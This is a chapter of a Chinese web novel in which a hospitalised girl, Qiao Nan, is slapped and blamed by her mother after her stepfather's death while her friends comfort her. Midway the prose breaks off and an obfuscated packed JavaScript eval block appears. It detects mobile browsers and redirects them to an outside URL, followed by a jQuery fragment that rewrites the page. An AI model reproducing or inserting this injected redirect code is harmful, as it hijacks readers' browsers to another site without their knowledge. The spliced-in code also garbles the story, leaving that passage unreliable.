谭琪深吸一口气，眼眶通红地回复道：


    “是。”


    她和段憬以为，女孩在听到这个消息后会嚎啕大哭。


    可没想到，乔楠只是微微点头，什么也没有说，什么表情也没有。只是平日里清亮的双眸在醒过来的时候就已经变得暗淡无光。她将身体蜷缩起来，似乎在还原最初在母体的样子。


    谭琪心疼地坐下抱住她：“你要想哭就哭出来，不要憋着！”


    她劝慰着乔楠，可自己的眼泪早已经忍不住了。


    段憬也在她们的身边坐下，抱住两人：“是啊！谭琪说的没错，你要心里难过就哭出来，哭出来会好受一些的！”


    乔楠看着她们，毫无血色的嘴角微微勾起：“你们不用担心，我没事的。”


    就在这时，病房的门忽然被撞开，“咚”的一声，吓了所有人一跳。


    辛文芝顶着一张失魂落魄的脸冲了进来，谭琪和段憬下意识地站起身来。


    段憬并没有见过辛文芝，看着长相过分相近的二人，她便也猜出来了，此刻走进病房的是乔楠的母亲，于是她跟着谭琪开口：


    “伯母，节哀。”


    辛文芝根本没有搭理她们两个，径直走到乔楠的面前。


    下一秒，一个巴掌干脆利落地落在乔楠的脸上，给站在不远处的两个女孩吓得不轻。


    段憬立刻将两人拉开，谭琪护住乔楠：


    “伯母，你这是做什么啊！”


    要不是段憬拦着，辛文芝的巴掌似乎又要再次落到乔楠的来脸上。


    辛文芝眼含怒意地看着面前的两个女孩，毫不客气地开口：“你们给我让开！”


    段憬这个人向来吃软不吃硬，又重义气，就算对方是好朋友的妈妈，她也不可能允许那个人伤害自己的好朋友。


    “伯母，我可以理解你的心情，可是叔叔的死不是乔楠造成的！你为什么要拿自己的女儿撒气？”


    听到段憬说的，辛文芝没忍住笑出声音来，笑声凄厉而瘆人。


    段憬和谭琪只觉得毛骨悚然。


    “女儿？”她指着乔楠，再次冷笑道。“她算什么女儿，她分明就是索命的阎王爷！害死她爸还不够，现在又逼死了我的丈夫！”


    辛文芝越说情绪越激动，想到岳驰她泣不成声，可语气里的质问依旧不减，“对！你岳叔叔是没有什么能力，可是这些年是他养着我们，没有功劳也有苦劳，他那么善良的一个人，你就非得逼死他才甘心吗？”


    乔楠咬着双唇，淡淡开口：“我没有。”


    女孩的语气里听不出情绪，那份平淡彻底激怒了辛文芝，她顾不得病房里还有其他人在，将陪护的凳子推倒，发了疯似的开口：


    “你爸死的时候，你是这副死样子，现在你岳叔叔死了，你还是这副样子。乔楠，你到底还是不是人啊？”


    乔楠一言不发地低着头。


    段憬不可置信地盯着辛文芝：“阿姨，你也太过分了吧！哪有人会这么说自己的女儿啊？”


    她从没有想过，这个世界上竟然有妈妈会对自己的女儿说出这样的话来，大概是因为她生活在无比幸福的家里，如果不是亲眼所见，她根本就想象不到乔楠竟然会生活在这样的世界里。


    辛文芝丝毫不在意她说的，冷冷地看着病床上的女孩：


    “无论是以前还是现在，我都希望死的人是你！”


    谭琪听到辛文芝说的，吃惊地根本说不出话来，段憬一肚子气忍无可忍骂道：“你有病吧！”


    辛文芝却连一句辩驳都没有，头也不回地离开了病房，只是她走得踉踉跄跄，像丢了魂一样。


    ……


    辛文芝离开后，谭琪低头看着怀里的女孩，想说些什么安慰，却不知道该从何处开口。


    可那个女孩却没有震惊、没有害怕、就好像刚才什么都没有发生一样。


    段憬看着那个女孩子愈发觉得心疼，她也逐渐知道为什么从第一眼见到乔楠开始，她就觉得乔楠身上有种和同龄人不一样的气质。


    清冷、疏离。


    原来那些都是痛苦后催生的。


    她不知道说什么，只能走近，将面前两人抱进了怀里，她抚摸着乔楠的脊背说：“别怕，你还有我们！”


    谭琪早就泣不成声：“嗯！我也在！”


    乔楠对着她们淡淡地笑了笑，嘴唇一如既往的苍白。


    “谭琪，你去让跟护士要一个一次性冰袋给乔楠冰敷一下吧！”


    谭琪点头，然后便先出去了。


    “要不要躺下来？”段憬声音温柔地问她。


    乔楠点点头。


    段憬看着那个似乎要一触即破的女孩，也不自觉红了眼眶。她替那个女孩理了理凌乱的头发，故作轻松地说：“乔楠，我真的有点嫉妒你了。你怎么连生病的时候都这么好看，你这个样子要是让江聿看到，他可得心疼死。”


    提到江聿两个字，那个脸上一直没什么表情的女孩忽然怔住，然后拉住段憬，皱着眉问问：


    “我们家的事他还不知道吧？”


    段憬一愣，而后点头，有些心虚的说：“应该不知道吧！”


    谭琪和段憬之所以会在第一时间赶往医院，是因为当时段憬和谭琪约了见一面，刚好两个人在一起，无意中谭琪刷到本市的新闻，一眼就看到了晕倒的乔楠，于是便拉着段憬来了医院。


    可她们才到医院没多久，就接到了江聿打来的电话。因为他也看到了那则新闻。


    出事后，他一直在试图联系乔楠，可始终联系不上，焦急万分之下他只能打给谭琪。


    得知谭琪和段憬已经到了医院，他才稍微放心些。只是乔楠并不知道这些。


    “我的事情你先不要告诉他，我不想他担心，让他好好工作。”


    段憬听了她的话，鼻头微微发酸：“你都这样了，还担心他？”


    “我没事。医生也说了没什么大碍，他知道了也不能改变什么，只能多一个人跟着担心。所以我的事情你就不要跟他了。”


    “你啊！”她不由得叹气，可看乔楠如此执着，便答应了下来，“好，我不说。”


    刚巧谭琪从护士站拿了一次性冰袋回来，用毛巾包好后，便递给了乔楠，然后顺势在她的身边坐下了。


    段憬便趁着这个间隙离开了病房。


    她为难再三，可还是把乔楠的情况告诉给了江聿，没一会儿那头就回了电话过来。


    “她现在怎么样？”男孩的声音里是藏不住的焦急。


    “不太好。她是不是和妈妈的关系不太好？”段憬问。


    “是。她妈妈有点精神问题，情绪容易激动。”江聿开口，随后又不安地问，“是不是发生什么了？”


    “我就说！她妈妈刚才过来闹了一趟，打了她一巴掌，本来还准备继续发疯，被我和谭琪拦住了。我看她妈的样子，恨不得让她偿命才好。我真没有想到，乔楠竟然生活在这样的家庭。”


    电话那头的人沉默着，直到段憬又喊了一声：“江聿？”


    “我在听。”男孩隐忍着情绪回答道，他沉沉地吸了一口气，“拜托你帮我照顾好她。”


    “你放心，乔楠也是我的朋友，我肯定照顾好！你就别担心了，安心工作吧！”


    “多谢。”


    “对了！”段憬话锋一转，语气变得轻松些，“你小子运气真的很好。”


    “嗯？”男孩的语气里带着不解。


    “乔楠都这样了，还叮嘱我不要告诉你她住院了，怕你担心。”


    电话


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840991|178918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那头的人沉默了好一阵，再次开口的时候他说：“她就是这样一个让人心疼的笨蛋。在我回来之前，拜托你们一定要照顾好她。”


    “那是自然。”段憬想到什么又问，“那你什么时候回来？”


    “今天估计后半夜才能收工，坐早班飞机回来。”


    “好，明天见。”


    ……


    段憬再回病房的时候，乔楠已经没有在冰敷了，脸上的红肿也看着退了不少。


    “想吃些什么？”段憬问她。


    “我不饿。你们去吃吧！照顾我这么久，应该很累了吧，去休息一会儿吧！”乔楠开口道。


    段憬摆摆手：“不用，我去买就行了，让谭琪继续陪着你。等我买回来一起吃，你现在看着不想吃，等会儿我们吃得正香的时候，你说不定还会后悔呢！”


    “就是，就是。”谭琪应和道。


    乔楠轻笑，却不小心牵扯到了被肇事司机踹到的伤口，忽然轻咳一下，引得那两个人分外紧张地齐声发问：


    “怎么了？”


    乔楠摇摇手：“我没事！”


    确认乔楠是真的没事，段憬才放心地从病房离开。


    段憬走了没一会儿，谭琪在乔楠身边坐下。


    “是不是很痛？”


    乔楠依旧摇了摇头，嘴角带着惹人心疼的淡淡笑意。


    谭琪拉着她的手，又红了眼眶：“你这个大笨蛋！受了委屈就好好地骂出来，哭出来，怎么一点反应都没有。”


    乔楠看着她没说话。


    “算了，算了。我不烦你了，你好好休息，睡一会儿吧！”谭琪轻轻拍了拍她的手背。


    “好。”乔楠顺势将身体向下躺。


    谭琪替她把被子揶好，乔楠正准备睡下来，手机忽然响了。


    她在谭琪的搀扶下又重新坐了起来，谭琪将手机拿给她。


    乔楠一看，是岳芳的电话。岳驰的亲姐姐。


    虽然乔楠一直叫岳驰叔叔，可她一直叫岳芳姑姑。


    辛文芝和岳驰结婚后不久，辛文芝就希望乔楠可以改口叫岳驰叫爸爸。


    可岳驰却很体贴的说：“楠楠不缺一个好爸爸，楠楠却一个好叔叔。叫我叔叔就可以了。”


    后来，乔楠便一直叫岳驰叔叔。


    乔怀仁是独生子，所以以前乔楠并没有姑姑。可岳驰有姐姐，加上岳芳很喜欢乔楠，对她也很好，所以乔楠一直叫岳芳姑姑。


    ……


    看着那个名字，乔楠握着手机的手不自觉攥紧，最后还是按下了接听键。


    “楠楠啊。”岳芳的声音哽咽，显然是因为岳驰意外离世受到了冲击。


    “姑姑。”乔楠的声音中透露着明显的虚弱。


    “好孩子，受委屈了吧。”岳芳一直都知道乔楠家里的情况，也清楚辛文芝一旦发病，就会发泄在乔楠身上，认为所有的一切都是乔楠造成的。


    “没有。”


    “你叔叔的葬礼明天在老家举行，你说他怎么就……”岳芳努力克制的情绪在此刻崩塌。


    乔楠的耳畔不多时传来女人凄厉的哭声，那声音里带着克制，可悲痛却丝毫遮盖不住。


    “姑姑，节哀顺变。”女孩的嘴角依旧是毫无血色。


    岳芳强忍着悲痛的情绪，对乔楠说：“你明天要是时间方便的话，就回来一趟吧。”


    “可我妈应该不希望我……”


    乔楠没打算去岳驰的葬礼，不是因为别的，她很想送岳叔叔最后一程，可她的出现只会刺激到辛文芝。


    “回来吧，送送叔叔吧！而且我也想你了，你都多久没来看看我了？”岳芳的声音里还带着泪意。


    乔楠深吸一口气后回答道：“好，我明天早上回来。”


    ……